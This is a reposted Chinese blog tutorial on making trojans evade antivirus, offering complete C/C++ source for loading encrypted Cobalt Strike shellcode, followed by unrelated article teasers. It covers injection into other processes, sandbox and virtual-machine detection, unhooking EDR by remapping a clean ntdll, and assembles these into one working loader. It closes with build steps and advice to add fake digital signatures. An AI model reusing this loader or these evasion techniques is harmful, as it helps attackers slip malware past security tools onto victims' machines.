【渗透实战】木马免杀

先看效果(文中附源码)

思路

1.shellcode自身免杀

首先cs生成一个bin文件


再没有二开的情况下落地就会死

那么如何处理呢?

可以通过对shellcode进行加密和编码的方式,然后在内存中进行解密执行

这里介绍几种主流的编码和加密方式

编码方式: base64 sgn编码

加密方式: XOR RC4强加密 UUID

在国内的对抗环境下xor加密就足够了 ,RC4的强加密会使得文件的商值过高导致报读

这里就介绍一种010 Editor 进行 xor 加密

我们在010 Editor 中打开该bin文件然后选择 XOR加密

然后设置xor 的key

最后保存即可,此时的bin文件是经过了XOR加密 ,密钥为 0x39

同时推荐几种加密方式:

1.xor 双加密

2.xor加密 + sgn编码

3.xor 加密 +base64编码

4.uuid+base64编码

各位可以自行搭配

2.shellcode的加载方式

shellcode的加载方式有很多种,这里以C/C++作为示范

1、指针执行
#include <Windows.h>
#include <stdio.h>

unsigned char shellcodeloader[] ="shellcode";

int main()
{
    ((void(*)(void)) & shellcodeloader)();
}
2.申请内存执行
#include <Windows.h>
#include <stdio.h>

int main()
{
    char shellcode[] = "shellcode";
    void* run = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //使用 VirtualAlloc申请一块可读可写可执行的内存(PAGE_EXECUTE_READWRITE)
    memcpy(run, shellcode, sizeof shellcode);
    //使用memcopy将shellcode拷贝到刚刚申请的内存中
    ((void(*)())run)();
}
3.资源加载shellcode

这也是我木马免杀的执行方式

先补充一些前置知识需要学习3个函数

1、FindResource:该函数确定指定模块中指定类型和名称的资源所在位置。

HRSRC FindResource(
  [in, optional] HMODULE hModule,
  [in]           LPCSTR  lpName,
  [in]           LPCSTR  lpType
);
  • hModule:处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
  • lpName:指定资源名称。若想了解更多的信息,请参见注意部分。
  • lpType:指定资源类
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_CALC_BIN1), L"calc_bin");
  • MAKEINTRESOURCE将一个整数值转换为一种资源类型

2、SizeofResource:表示该函数返回指定资源的字节数大小。

DWORD SizeofResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule:包合资源的可执行文件模块的句柄。
  • hReslnfo:资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

3、LoadResource:装载指定资源到全局存储器

HGLOBAL LoadResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule:处理包合资源的可执行文件的模块句柄。若hModule为NULL,系统从当前过程中的模块中装载资源。
  • hReslnfo:将被装载资源的句柄。它必须由函数FindResource [1] 或FindResourceEx创建。
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

下面是完整的源码

DWORD oldProtect;
BOOL pt;
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
//找到shellcode资源,获取它的资源句柄
//它的名称为IDR_PAYLOAD_BIN1,类型为PAYLOAD_BIN
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
//读取其中的数据
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
//读取数据⻓度,开辟内存空间读⼊,获得该空间指针
4.无API加载shellcode

我们希望我们的shellcode被分配在可执行文件的.text部分中,这样就不需要分配RWX内存块来存储shellcode。此外,
我们需要将shellcode数组强制转换为函数指针并调用它-

#pragma section(".text")

__declspec(allocate(".text")) char goodcode[] = {  };

int main()
{
    //(*(void(*)())(&goodcode))();
    ((void(*)())(&goodcode))();
}

利用

设置data段可写 执行shellcode

#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")//设置data段可写,就这么短短一行代码
unsigned char shellcode[] = {  };
//全局变量会保存在.data中,

int main()

{
    ((void(*)())(void*)shellcode)();//执行shellcode
}
5.远程线程注入

*火绒对于线程注入的操作并不敏感,但是某数字杀软晶核的环境下除了高信誉的白名单以外不要尝试进程或者线程注入

我们也可以通过CreateToolhelp32Snapshot去获取系统中正在运行的进程信息,线程信息然后进行判断,如果是火绒的环境就进行注入,如果是某数字杀软的环境就指针执行或者是注入自身(某数字杀软任何注入自身没有威胁)

我们先学习一下前置知识:

使用远程线程注入,我们需要使用4个主要函数:OpenProcess, VirtualAllocEx, WriteProcessMemory,CreateRemoteThread

思路:

  1. 打开远程进程的句柄(pid)(OpenProcess)
  2. 使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间
  3. 然后使用WriteProcessMemory将shellcode写入到内存缓冲区中
  4. 最后通过调用CreateRemoteThread来创建远程线程

主要是了解一下每一个windowsAPI的功能和传入的参数

1、OpenProcess

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
  • dwDesiredAccess:一个或多个进程访问权限
  • bInheritHandle:是否继承句柄
  • dwProcessId:进程的标识符
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

2、VirtualAllocEx

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • hProcess:进程的句柄。该函数在该进程的虚拟地址空间内分配内存,句柄必须具有PROCESS_VM_OPERATION访问权限
  • lpAddress:保留页面的内存地址;一般用NULL自动分配
  • dwSize:要分配的内存区域的大小,以字节为单位
  • flAllocationType:内存分配的类型
  • flProtect:该内存的初始保护属性
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE)

3、WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess:要修改的进程内存的句柄。句柄必须拥有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
  • lpBaseAddress:要写的内存首地址
  • lpBuffer:指向要写的数据的指针
  • nSize:要写入的字节数
  • lpNumberOfBytesWritten:指向一个变量的指针,该变量接收传输到指定进程的字节数。该参数是可选的。如果lpNumberOfBytesWritten存在,则忽略该参数。
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

4、CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
  • hProcess:将在其中创建线程的进程的句柄
  • lpThreadAttributes:一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性.
  • dwStackSize:线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小.
  • lpStartAddress:在远程进程的地址空间中,该线程的线程函数的起始地址.
  • lpParameter:指向要传递给线程函数的变量的指针。
  • dwCreationFlags:线程的创建标志.
  • lpThreadId:指向所创建线程ID的指针,如果该参数为空,则不返回线程标识符
remoteThread = CreateRemoteThread(processHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

接下来是完整的代码

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = {};

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  //打开进程
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode,
  (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  //申请内存
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
  //写入内存
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, 
  (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  //创建远程线程
    CloseHandle(processHandle);
    return 0;
}

看到这里相信各位也想到了一个问题,如果我想要远程注入notepad,如何获取到他的PID呢?

那就得使用到我们之前所说的CreateToolhelp32Snapshot

我们接着学习三个windowsAPI

1、CreateToolhelp32Snapshot:可以获取系统中正在运行的进程信息,线程信息

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
  • dwFlags:用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
  • th32ProcessID:一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照

2、Process32First:获得第一个进程的句柄

BOOL Process32First(
[in]      HANDLE           hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);

3、Process32Next:获得下一个进程的句柄

BOOL Process32Next(
[in]  HANDLE           hSnapshot,
[out] LPPROCESSENTRY32 lppe
);

完整代码:

DWORD FindTargetPID(LPCTSTR lpszProcess)//参数lpszProcess指明想要获取的目标进程的名字
{
    DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //创建一个系统快照
    PROCESSENTRY32 pe32;
    //这里定义了一个PROCESSENTRY32结构,它用来保存进程信息
    pe32.dwSize = sizeof(PROCESSENTRY32);//结构大小
    Process32First(hSnapshot, &pe32);
    //获取系统快照中的第一个系统进程
    do
    {
        if (lstrcmpi(pe32.szExeFile, lpszProcess) == 0)
        //lstrcmpi函数用获取的进程名与指定的进程名进行比较
        {
            dwRet = pe32.th32ProcessID;
            //获取进程ID
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));
    //循环
    CloseHandle(hSnapshot);
    //关闭系统快照
    return dwRet;
    //返回进程ID
}

6.需要用到LoadLibraryA

经典DLL注入到远程进程中,根据上面远程进程注入的知识,写出简单的demo

我们利用cs生成的dll文件上传到目标电脑上然后编译对应的exe,也就是说双文件落地的形式

即: cs上线的dll文件 dllinject.exe

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("C:\\Users\\ning\\Desktop\\DLLinject\\cs.dll");
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
  MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = 
  (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, 
  remoteBuffer, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

那么我们不妨发散思维,我们可以远端加载dll文件进行注入,在目标上只留下dllinject.exe,同时在完成上线后

我们将远端的dll文件删除,这样云沙箱是不是就无法加载了?

6.RW+RX的内存

AV/EDR喜欢扫描具有RWX属性的内存区域,尤其是国外著名的卡巴斯基,其内存扫描的本质就是扫描内存中的RWX权限,所以我们使用RW+RX来规避

步骤:

1.VirtualAlloc申请可读可写的内存属性 RW

2.memcopy将shellcode拷贝到内存

3.VirtualProtect改变内存属性为RX

4.指针执行

那么下面我们来学习一下VirtualProtect

VirtualProtect:可以用来改变内存属性

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  • lpAddress:指向要变更保护属性的地址起始位置
  • dwSize:要更改其访问保护属性的区域的大小
  • flNewProtect:更改的内存属性
  • lpflOldProtect:内存原始属性保存地址

代码如下:

#include <Windows.h>

int main() {
    int shellcode_size = 0; // shellcode长度
    BOOL pt;
    DWORD oldProtect;
    unsigned char buf[] = {  };
    shellcode_size = sizeof(buf);
    LPVOID shellcode;
    shellcode = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, 0x04);
    CopyMemory(shellcode, buf, shellcode_size);
    pt = VirtualProtect(shellcode, shellcode_size, 0x20, &oldProtect);
    ((void(*)())shellcode)();
}

由于篇幅有限,APC注入等涉及到windows异常处理机制,这里暂不介绍,有兴趣可以自行了解

3.反沙箱

反沙箱是木马免杀中极为重要的一环

为什么这么说呢?

所有的杀软本地都会有一个内置的沙箱,当我们想要运行一个陌生的exe时,都会在沙箱中模拟运行,所有木马能否上线的关键点在于反沙箱

那么沙箱查杀的是什么呢?

1.静态查杀

如何处理?

做好 源代码的混淆 资源文件 动态解析API

2.动态查杀

当你的exe在运行是修改注册表实现自启动或者是释放某些文件亦或是添加用户 ,此时沙箱会检测此类操作,

然后报读

我们要写反沙箱首先要了解沙箱的特性是什么:

沙箱不是真实的环境,而是被虚拟话出来的

1.常规的反沙箱

我们可以通过延迟执行、开机时间、物理内存、CPU核心数,文件名、磁盘大小、500M内存0填充、用户名、进程名去判断是否是在沙箱的环境中,如果是在沙箱的环境,那就退出

2.钓鱼的如何写反沙箱

或者是检测当前环境是否有微信、钉钉、或者鼠标是否移动来判断

接下来给出我常用的反沙箱代码:

1.检测当前操作系统是否超过十分钟,如果没超过就退出

int a(){
    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        //MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
}

2.检测当前环境的进程有没有超过60个,如果没有就退出

因为沙箱的进程一般都少于40个,正常电脑的进程应该很多

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe); ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

3.检测发行版本是否为中文

int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);
    }
    return 0;

}

4.检测是否在虚拟机中

int check(char* name) {
    const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe" };
    for (int i = 0; i < 4; i++) {
        if (strcmp(name, list[i]) == 0)
            return -1;
    }
    return 0;
}

bool CheckProcess() {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        char ss_Name[MAX_PATH] = { 0 };
        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name),
    NULL, NULL);
        //printf("%s\n", ss_Name);
        if (check(ss_Name) == -1)
            return false;
        bResult = Process32Next(hProcessSnap, &pe32);
    }
    return true;
}

bool checkReg() {
    HKEY hkey;
    if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe",
  &hkey) == ERROR_SUCCESS) {
        return true;
    }
    else {
        return false;
    }

}

bool checkfile() {
    WIN32_FIND_DATAW findFileData;
    if (FindFirstFileW(L"C:\\Program Files\\VMware\\VMware Tools\\VMToolsHook.dll", 
  &findFileData) == INVALID_HANDLE_VALUE) 
        return false;
}

4.和edr的一些对抗

像x擎或者是某藤云的一些edr产品会对ntdll.dll进行hook挂钩

如何理解?

先介绍一下windowsapi的调用链

我们常用的一些windowsapi函数都存储在kernel32.dll的动态链接库中

比如说我们使用VirtualAlloc函数,那么他是如何被一步步调用的呢

首先是在3环,即用户层的 kernel32.dll中调用kernelVirtualAlloc

然后kernelVirtualAlloc去调取ntdll中的NtVirtualAlloc

最后NtVirtualAlloc通过syscall的方式去内存层实现分配内存

而杀软会对这些dll文件进行hook监控

当我们再调用VirtualAlloc时,edr会修改ntdll中的该函数使其jmp到edr内置的dll中,edr会

通过你的函数调用去查杀

那么重点来了,如何去对抗呢?

1.在shellcodeloader时添加大量垃圾函数或者执行一些东西打乱edr查杀

2.直接通过syscall绕过edr的hook(某数字杀软晶核的环境下依然会被检测到)

3.重新加载一份干净的ntdll文件

这里着重给大家介绍第三种,直接附上源码安心食用即可

int main()
{
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;

    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll",
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + 
  hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase 
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}

具体实现

该将的都讲了,接下来上源码!

需要注意的是,132行的key设置为文章开头你加密的key

#include <Windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdlib.h>
#include <winreg.h>
#include <tlhelp32.h>
#include <time.h>
#include "resource.h"
#include <io.h>
#pragma comment(lib, "Crypt32.lib")
#include <psapi.h>
#include <iostream>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

DWORD UNHOOKntdll() {
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +
  hookedDosHeader->e_lfanew);
    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
    {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);
    return 0;
}

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe);ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

void RunCode() {}
//检测发行版本
int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);

    }
    return 0;

}

int main(int argc, char* argv[])
{
    //先绕沙箱
    BypassSimulation();

    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
    }

    UNHOOKntdll();

    DWORD oldProtect;
    BOOL pt;
    //找到shellcode资源,获取它的资源句柄
    //它的名称为IDR_PAYLOAD_BIN1,类型为PAYLOAD_BIN
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), 
  L"PAYLOAD_BIN");
    //读取其中的数据
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    //读取数据⻓度,开辟内存空间读⼊,获得该空间指针
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    LPSTR shell = (LPSTR)VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_READWRITE);
    //shellcode数据拷⻉进shell指向的内存空间
    memcpy(shell, shellcodeResourceData, shellcodeSize);
    //此时shellcode已经进⼊内存空间,开始解密执⾏
    //先异或回来
    for (int i = 0; i < shellcodeSize; i++)
    {
        shell[i] ^= 0x39;
    }
    pt = VirtualProtect(shell, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)())shell)();
    return 0;
}

由于我是使用资源文件加载的,我们需要在VS中配置一下

配置为release 的X86

然后修改代码生成为MT模式

点开资源文件然后添加一个资源

讲我们本地的bin文件加载进来重命名为payload.bin

最后重新生成解决方案即可

看下效果

补充一下:在某数字杀软晶核的对抗环境下,由于其非黑即白的特性,需要添加图标详细信息以及打上假的数字签名即可

原文链接:https://forum.butian.net/share/2530

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/143555.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

这 11 个 for 循环优化你得会

日常开发中&#xff0c;经常会遇到一些循环耗时计算的操作&#xff0c;一般也都会采用 for 循环来处理&#xff0c;for 作为编程入门基础&#xff0c;主要是处理重复的计算操作&#xff0c;虽然简单好用&#xff0c;但在写法上也有很多的考究&#xff0c;如果处理不好&#xff…

「Verilog学习笔记」用优先编码器①实现键盘编码电路

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 分析 用此编码器实现键盘的编码电路。 注意&#xff1a;编码器的输出是低电平有效&#xff0c;而键盘编码电路输出的是正常的8421BCD码&#xff0c;是高电平有效。因此将编…

论文精读 MediaPipe Hands

MediaPipe Hands:On-device Real-time Hand Tracking MediaPipe手势&#xff1a;设备上的实时手势跟踪 论文地址&#xff1a;2006.10214.pdf (arxiv.org) 源码地址&#xff1a;GitHub - vidursatija/BlazePalm: PyTorch 目录 摘要 介绍 架构 BlazePalm Detector Hand L…

基于Java实现的轻量级私有云平台,让企业拥有自己的云平台

一、开源项目简介 KVM Cloud 是一款基于Java实现的轻量级私有云平台&#xff0c;旨在帮助中小企业快速实现计算、存储、网络等资源的管理&#xff0c;让企业拥有自己的云平台。 二、开源协议 使用Apache-2.0开源协议 三、界面展示 四、功能概述 KVM Cloud 是一款基于Java实…

Cesium和Three.js的初步认识

一、Threejs和Cesium的对比 相同点&#xff1a; 都是基于WebGL技术开发的Javascript库&#xff0c;用于在浏览器中创建和显示动画3D计算机图形。 不同点&#xff1a; Threejs&#xff1a;受众面比较广&#xff0c;是封装了webgl的一些底层用法&#xff0c;让初学者更容易上…

Istio学习笔记- 服务网格

Istio 服务网格 参考&#xff1a;Istio / Istio 服务网格 Istio 使用功能强大的 Envoy 服务代理扩展了 Kubernetes&#xff0c;以建立一个可编程的、可感知的应用程序网络。Istio 与 Kubernetes 和传统工作负载一起使用&#xff0c;为复杂的部署带来了标准的通用流量管理、遥…

DNS域名解析服务

1.概述 1.1.产生原因 IP 地址:是互联网上计算机唯一的逻辑地址&#xff0c;通过IP 地址实现不同计算机之间的相互通信&#xff0c;每台联网计算机都需要通过I 地址来互相联系和分别&#xff0c;但由于P 地址是由一串容易混淆的数字串构成&#xff0c;人们很难记忆所有计算机的…

labview实现仪器的控制visa

*IDN? 是识别大多数仪器的查询指令。仪器会回应一个用于描述仪器的识别字符串。如果仪器不接受该指令&#xff0c;请在仪器手册中查询仪器能识别的指令列表。 如下图所示&#xff1a; 程序如下&#xff1a;

【汇编】计算机的组成

文章目录 前言一、计算机的基本组成1.1 中央处理器&#xff08;CPU&#xff09;1.2 内存指令和数据存储的位置计算机中的存储单元计算机中的总线地址总线数据总线控制总线 1.3 输入设备和输出设备1.4 存储设备 二、计算机工作原理三、计算机的层次结构总结 前言 计算机是现代社…

容器化nacos部署并实现服务发现(gradle)

1.如何容器化部署mysql 2. 如何容器化部署nacos 为不暴露我的服务器地址&#xff0c;本文全部使用localhost来代替服务器地址&#xff0c;所有的localhost都应该调整为你自己的服务器地址。 为不暴露我的服务器地址&#xff0c;本文全部使用localhost来代替服务器地址&#x…

Centos上删除文件及目录的命令积累

01-如果我想删除Centos上当前目录下的文件 test06-2023-11-14-01.sql 该怎么操作&#xff1f; 答&#xff1a;如果你想删除CentOS上当前目录下的文件 test06-2023-11-14-01.sql&#xff0c;可以使用 rm 命令。以下是删除文件的基本语法&#xff1a; rm test06-2023-11-14-01.s…

《QT从基础到进阶·二十三》弹窗提示框QMessageBox和QCloseEvent事件

1、正常信息提示 QMessageBox::information(NULL, "Title", "Content", QMessageBox::Yes | QMessageBox::No, QMessageBox::Yes);消息框按钮判断&#xff1a; if(QMessageBox::Ok QMessageBox::warning(this,"温馨提示","是否保存设置?…

BGP路由控制实验

目录 一、实验拓扑 二、实验需求 三、实验步骤 1、IP地址配置 2、As 200 内部配置OSPF 3、建立BGP邻居关系 4、宣告网段&#xff0c;在BGP中传递网段 5、通过修改MED 使 R1 到达 192.168.2.0/24 网段的路由经过 R3 6、通过修改Preferred-value 属性&#xff0c;使 R4 …

6.6二叉树的最大深度(LC104-E)、N叉树的最大深度(LC559-E)

二叉树的最大深度&#xff1a; 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 二叉树的最大深度二叉树的高度 算法&#xff1a; 这道题既可以求深度&#xff0c;也可以直接求高度。不过高度和深度用的遍历方式不同。 二叉树写代码之前要确定遍历顺序…

从零开始,掌握Nacos搭建的艺术(单点、集群、docker-compose)

&#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 从零开始&#xff0c;掌握Nacos 前言&#xff1a;前提&#xff1a;建表语句第一&#xff1a; 单节点搭建&#xff1a;第二&#xff1a; 集群搭建&#xff1a;第三&#xff1a…

BUUCTF 来首歌吧 1

